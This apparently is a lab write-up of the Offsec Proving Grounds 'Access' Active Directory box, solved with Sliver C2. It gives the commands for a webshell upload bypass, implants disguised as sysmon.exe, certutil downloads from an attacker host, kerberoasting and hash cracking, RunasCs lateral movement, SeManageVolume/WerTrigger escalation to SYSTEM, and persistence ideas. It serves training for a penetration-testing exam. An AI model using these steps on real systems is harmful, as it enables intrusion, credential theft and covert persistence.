This box (Access) is well known (or atleast should be) in Offsec Proving grounds. I decided to revisit this active directory box as a refresher for the OSCP exam as it contains multiple lateral movement paths. What I am disclosing isn’t new. If you would like to see a full walkthrough on this box from Offensive Security, you can find it below:
To mix things up a little I will be hacking this box with Bishop Fox’s Sliver C2. Lately, I’ve been challenging myself to learn different C2 frameworks. I choose sliver because it has a extensive collection of tools in the armory and its a very well developed C2 for conducting red teaming operations.
First, running an Nmap scan reveals several ports that are open and we are able to determine that this is an active directory box with a domain called access.offsec.
While its not normal for active directory to be running a web server on port 80 we can pretend we are penetrating a web server on port 80. From an internal or external perspective. It’s always possible that an external webserver could have access to an internal active directory network.
While enumerating the website, there is a buy tickets function to the far right on the web page.
When we click on the buy now function there is an upload image function below the purchase button.
Anytime I see an upload function its always good to test if you can manipulate it to where you can upload something such as a webshell to maintain some initial persistence into the environment. PHP functionality was also confirmed during enumeration with Nmap. To get start on testing if this site is vulnerable to file upload restriction bypasses the article below gives you an excellent introduction into changing content type headers in burpsuite.
Bypassing File Upload Restrictions
File upload functionality in web applications can unveil a large amount of information to a potential attacker or in…
The webshell that I will be utilizing can be found in the github repo:
GitHub - WhiteWinterWolf/wwwolf-php-webshell: WhiteWinterWolf's PHP web shell
WhiteWinterWolf's PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account…
With burpsuite launched, we can intercept the traffic when we attempt to upload the webshell. Pay attention the the initial content type. This is what we will be changing highlighted below.
Lets flip the content header over to jpeg format:
The extension does not appear to be allowed according to the response we are getting in Burpsuite repeater.
Instead lets add two extra dots after webshell.php and send it back through.
Next if we look at the uploads directory you will see the webshell has been successfully implanted onto the server.
An Introduction to Sliver C2
Before we proceed futher with this box we will need to install Sliver C2. While its not necessary to hack this box with Sliver, it gives the perfect opportunity to conduct adversarial operations with a well know C2 framework.
GitHub - BishopFox/sliver: Adversary Emulation Framework
Adversary Emulation Framework. Contribute to BishopFox/sliver development by creating an account on GitHub.
To get started with the installation you can run this Linux one liner to install:
curl https://sliver.sh/install|sudo bash
Once the install is finished you can run the command sliver to get started.
(A word of caution running sliver in this walkthrough is not opsec safe. This is just an overview how to work with sliver in a CTF type of environment. The default ports are used and we are just connecting directly to the server over localhost on 31337)
Sliver supports http, https, dns, and mtls listeners. For this purpose of this box we will generate an http listener first. You can also uses the jobs function to list your current listeners and if there is any staging profile attached to it. To start an http listener on the default port you can simply run the command:
You can use the generate command to create your implants. You also have the option to create a beacon binary and generate stagers using metasploit. We will just be generating a regular implant. The reason why we are not creating a beacon binary is because we will need to have an interactive shell on the session. (Not normally recommended). Generating an implant can be done with the following command:
generate --http <ip> --save /home/kali/Downloads
Back to our webshell we will first create a directory called c:\maint. Once you select the execute button it should create the directory. This is where we will be dropping some binaries to disk. Also, you will see throughout this walkthrough I am just renaming the sliver binaries generated to names such as sysmon.exe and MDE_Update.exe.
Next, we can execute a directory search to ensure the folder has been created successfully. Notice how the current working directory inside the webshell is set to c:\.
Now we can upload our first sliver implant. The webshell I am working with has upload functionality so we don’t need to use certutil to do a file transfer. I’ve renamed the implant to sysmon.exe in this example so the file will look less suspicious. The file may take a few minutes to upload. You can absolutely use the certutil method to transfer files. The choice is entirely yours.
Once the file transfer is complete you should get a message the upload completed successfully.
Next you can click the button to execute the sliver generated payload.
If all goes well you should have a working session talking back to your C2 server.
Now that we have an established session. Lets go ahead and start doing recon and lateral movement. To begin we start by using the session we have established by entering the following command:
use <session id>
The established C2 session is also kind of to remind us if we are an adult dropping into a shell (not standard or opsec safe) from here you can do more standard “OSCP style recon” if preferred.
Instead, lets take a step back and visit the Sliver armory that we have at our disposal.
If you type the command armory you will get back a list of command name packagers that you can use. It is a very extensive collection and worth your time in getting to know how they all work.
First we will install the c2tc-domaininfo package with the following command:
armory install c2tc-domaininfo
You will notice once that once the module is ran you will get back some very useful domain information, such as the name of the domain controller, internal ip address, password policies, etc. The module can be executed by simply typing:
Next we will install rubeus and kerberoast the network. This is extremely useful because we will be kerberoasting the network from memory versus dropping the actual binary on disk to run. Since we will be passing the command inline with the current process it is neccessary we add the /nowrap function so we can copy out any of the hashes retrieved form the terminal without any spaces. This is useful when we attempt to start cracking the hashes offline.
rubeus -i kerberoast /nowrap
Next, we can take this hash offline and crack it with hashcat with the following command:
hashcat -m 13100 -a 0 hash /usr/share/wordlists/rockyou.txt
To perform lateral movement and log in with our newly discovered account we will need to background our session and create a new listener running on a different port. This will allow us to invoke a run as session under a different user and have it execute a different sliver implant as that user. I wanted to showcase different methods to use a listener. I could of just generated an http listener on a different port but where is the fun in that. Instead we will generate an mtls listener with the following command:
Now we can generate an implant associated with the listener with the following command:
generate --mtls <ip> --save /home/kali/Downloads
So now that we have an implant generated for our mtls listener we can drop back into a shell and use certutil to transfer our renamed file associated with the mtls listener over to the c:\maint folder.
certutil -urlcache -f -split http://<ip>:8080/MDE_Update.exe
Next, we will transfer a powershell module called RunasC.ps1. This powershell module is a C# alternative to the runas command. You can find the module here:
GitHub - antonioCoco/RunasCs: RunasCs - Csharp and open version of windows builtin runas.exe
RunasCs - Csharp and open version of windows builtin runas.exe - GitHub - antonioCoco/RunasCs: RunasCs - Csharp and…
certutil -urlcache -f -split http://<ip>:8080/Invoke-RunasCs.ps1
At the end of this we should have the following files in the c:\maint directory.
Now we can import and run the module as shown below. The command to run our implant as another user is as follows:
Invoke-RunasCs svc_mssql password 'c:\maint\MDE_Update.exe'
If we spawn a second tab and log into sliver we will see that there is another session active as svc_mssql. This is a good line that are first lateral movement attempt was successful.
Using the session and dropping in the shell, we can confirm that we are running as access\svc_mssql
For privilege escalation you will need to abuse SeManageVolumePrivilege. This can easily be accomplished to provide us access and full control of the C:\Windows directory.
We can easily abuse this privilege with the following project.
Releases · CsEnox/SeManageVolumeExploit
Contribute to CsEnox/SeManageVolumeExploit development by creating an account on GitHub.
Once the exploit is ran you will be able to see that users now retain full control of the c:\windows directory in the target environment.
Finally the last step in this exploitation is to harness a privileged file write bug with the windows problem reporting service to spawn a new interactive shell as system. This is a multi step process that will involve dropping a file in the c:\windows\system32 directory, generating a new listener, sliver implant, and triggering the exploit. So lets dive into the details on how to chain this attack.
GitHub - sailay1996/WerTrigger: Weaponizing for privileged file writes bugs with windows problem…
Weaponizing for privileged file writes bugs with windows problem reporting - GitHub - sailay1996/WerTrigger…
First, were going to need to generate a new listener and implant with sliver and the following commands:
(This will generate a http listener that will listen on the non default port of 8081)
http -l 8081
Now we need to generate an implant to connect to specific listener port:
generate --http <ip>:8081 --save /home/kali/Downloads
Once I have both of these items ready to go I am just going to drop into a shell and transfer the new implant over into the c:\maint directory.
We are not finally ready to transfer some files into the c:\windows\system32 and c:\maint directories. The file phoneinfo.dll needs to be placed into the c:\windows\system32 directory. The files Report.wer and WerTrigger.exe need to be placed in the c:\maint directory.
Once the files are placed we can perform the exploit by invoking WerTrigger.exe by using the following command:
Once you start the exploit process by initializing the WerTrigger executable you will need to type the path of the sliver implant we copied over that is runnin on port 8081. This can be done by simply typing:
If we look at our sliver sessions in another tab you should notice we have a new session as NT AUTHORITY\SYSTEM. From here the sky is the limit as you can create a backdoor account with Adminitrative access to the server or generate another implant to run as a scheduled task so you will have full persistence and call back into the environment should the target machine ever be rebooted.
I hope everyone enjoyed this brief walkthrough and introduction to adversarial operations with Sliver C2. If you want to setup your own vulnerable Active Directory environment and play with Sliver in your own isolated lab I highly suggest you check out the following on github for creating your own vulnerable active directory environment.